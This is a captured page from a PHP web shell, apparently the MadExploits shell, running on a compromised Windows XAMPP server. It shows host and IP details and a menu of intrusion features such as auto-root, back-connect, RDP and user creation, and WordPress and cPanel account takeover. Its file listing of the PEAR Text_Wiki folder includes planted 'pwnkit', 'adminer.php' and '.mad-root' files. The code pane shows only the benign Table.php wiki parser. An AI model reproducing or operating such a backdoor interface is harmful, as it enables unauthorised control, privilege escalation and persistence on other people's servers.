Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.124
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
php /
pear /
Text /
Wiki /
Parse /
Default /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
Anchor.php
1.73
KB
-rw-rw-rw-
Blockquote.php
4.7
KB
-rw-rw-rw-
Bold.php
1.69
KB
-rw-rw-rw-
Break.php
1.18
KB
-rw-rw-rw-
Center.php
1.4
KB
-rw-rw-rw-
Code.php
2.31
KB
-rw-rw-rw-
Colortext.php
1.7
KB
-rw-rw-rw-
Deflist.php
3.31
KB
-rw-rw-rw-
Delimiter.php
1.77
KB
-rw-rw-rw-
Embed.php
2.32
KB
-rw-rw-rw-
Emphasis.php
1.77
KB
-rw-rw-rw-
Freelink.php
4.31
KB
-rw-rw-rw-
Function.php
3.64
KB
-rw-rw-rw-
Heading.php
2.38
KB
-rw-rw-rw-
Horiz.php
1.2
KB
-rw-rw-rw-
Html.php
1.5
KB
-rw-rw-rw-
Image.php
3.34
KB
-rw-rw-rw-
Include.php
2.16
KB
-rw-rw-rw-
Interwiki.php
3.15
KB
-rw-rw-rw-
Italic.php
1.76
KB
-rw-rw-rw-
List.php
8.17
KB
-rw-rw-rw-
Newline.php
1.37
KB
-rw-rw-rw-
Paragraph.php
2.58
KB
-rw-rw-rw-
Phplookup.php
1.39
KB
-rw-rw-rw-
Prefilter.php
2.05
KB
-rw-rw-rw-
Raw.php
1.36
KB
-rw-rw-rw-
Revise.php
3.28
KB
-rw-rw-rw-
Smiley.php
5.94
KB
-rw-rw-rw-
Strong.php
1.78
KB
-rw-rw-rw-
Subscript.php
1.48
KB
-rw-rw-rw-
Superscript.php
1.49
KB
-rw-rw-rw-
Table.php
6.64
KB
-rw-rw-rw-
Tighten.php
689
B
-rw-rw-rw-
Toc.php
2.83
KB
-rw-rw-rw-
Tt.php
1.6
KB
-rw-rw-rw-
Underline.php
1.7
KB
-rw-rw-rw-
Url.php
6.91
KB
-rw-rw-rw-
Wikilink.php
5.11
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Table.php
<?php /** * * Parses for table markup. * * @category Text * * @package Text_Wiki * * @author Paul M. Jones <pmjones@php.net> * * @license LGPL * * @version $Id: Table.php 180591 2005-02-23 17:38:29Z pmjones $ * */ /** * * Parses for table markup. * * This class implements a Text_Wiki_Parse to find source text marked as a * set of table rows, where a line start and ends with double-pipes (||) * and uses double-pipes to separate table cells. The rows must be on * sequential lines (no blank lines between them) -- a blank line * indicates the beginning of a new table. * * @category Text * * @package Text_Wiki * * @author Paul M. Jones <pmjones@php.net> * */ class Text_Wiki_Parse_Table extends Text_Wiki_Parse { /** * * The regular expression used to parse the source text and find * matches conforming to this rule. Used by the parse() method. * * @access public * * @var string * * @see parse() * */ var $regex = '/\n((\|\|).*)(\n)(?!(\|\|))/Us'; /** * * Generates a replacement for the matched text. * * Token options are: * * 'type' => * 'table_start' : the start of a bullet list * 'table_end' : the end of a bullet list * 'row_start' : the start of a number list * 'row_end' : the end of a number list * 'cell_start' : the start of item text (bullet or number) * 'cell_end' : the end of item text (bullet or number) * * 'cols' => the number of columns in the table (for 'table_start') * * 'rows' => the number of rows in the table (for 'table_start') * * 'span' => column span (for 'cell_start') * * 'attr' => column attribute flag (for 'cell_start') * * @access public * * @param array &$matches The array of matches from parse(). * * @return A series of text and delimited tokens marking the different * table elements and cell text. * */ function process(&$matches) { // our eventual return value $return = ''; // the number of columns in the table $num_cols = 0; // the number of rows in the table $num_rows = 0; // rows are separated by newlines in the matched text $rows = explode("\n", $matches[1]); // loop through each row foreach ($rows as $row) { // increase the row count $num_rows ++; // start a new row $return .= $this->wiki->addToken( $this->rule, array('type' => 'row_start') ); // cells are separated by double-pipes $cell = explode("||", $row); // get the number of cells (columns) in this row $last = count($cell) - 1; // is this more than the current column count? // (we decrease by 1 because we never use cell zero) if ($last - 1 > $num_cols) { // increase the column count $num_cols = $last - 1; } // by default, cells span only one column (their own) $span = 1; // ignore cell zero, and ignore the "last" cell; cell zero // is before the first double-pipe, and the "last" cell is // after the last double-pipe. both are always empty. for ($i = 1; $i < $last; $i ++) { // if there is no content at all, then it's an instance // of two sets of || next to each other, indicating a // span. if ($cell[$i] == '') { // add to the span and loop to the next cell $span += 1; continue; } else { // this cell has content. // find any special "attr"ibute cell markers if (substr($cell[$i], 0, 2) == '> ') { // right-align $attr = 'right'; $cell[$i] = substr($cell[$i], 2); } elseif (substr($cell[$i], 0, 2) == '= ') { // center-align $attr = 'center'; $cell[$i] = substr($cell[$i], 2); } elseif (substr($cell[$i], 0, 2) == '< ') { // left-align $attr = 'left'; $cell[$i] = substr($cell[$i], 2); } elseif (substr($cell[$i], 0, 2) == '~ ') { $attr = 'header'; $cell[$i] = substr($cell[$i], 2); } else { $attr = null; } // start a new cell... $return .= $this->wiki->addToken( $this->rule, array ( 'type' => 'cell_start', 'attr' => $attr, 'span' => $span ) ); // ...add the content... $return .= trim($cell[$i]); // ...and end the cell. $return .= $this->wiki->addToken( $this->rule, array ( 'type' => 'cell_end', 'attr' => $attr, 'span' => $span ) ); // reset the span. $span = 1; } } // end the row $return .= $this->wiki->addToken( $this->rule, array('type' => 'row_end') ); } // wrap the return value in start and end tokens $return = $this->wiki->addToken( $this->rule, array( 'type' => 'table_start', 'rows' => $num_rows, 'cols' => $num_cols ) ) . $return . $this->wiki->addToken( $this->rule, array( 'type' => 'table_end' ) ); // we're done! return "\n$return\n\n"; } } ?>
Close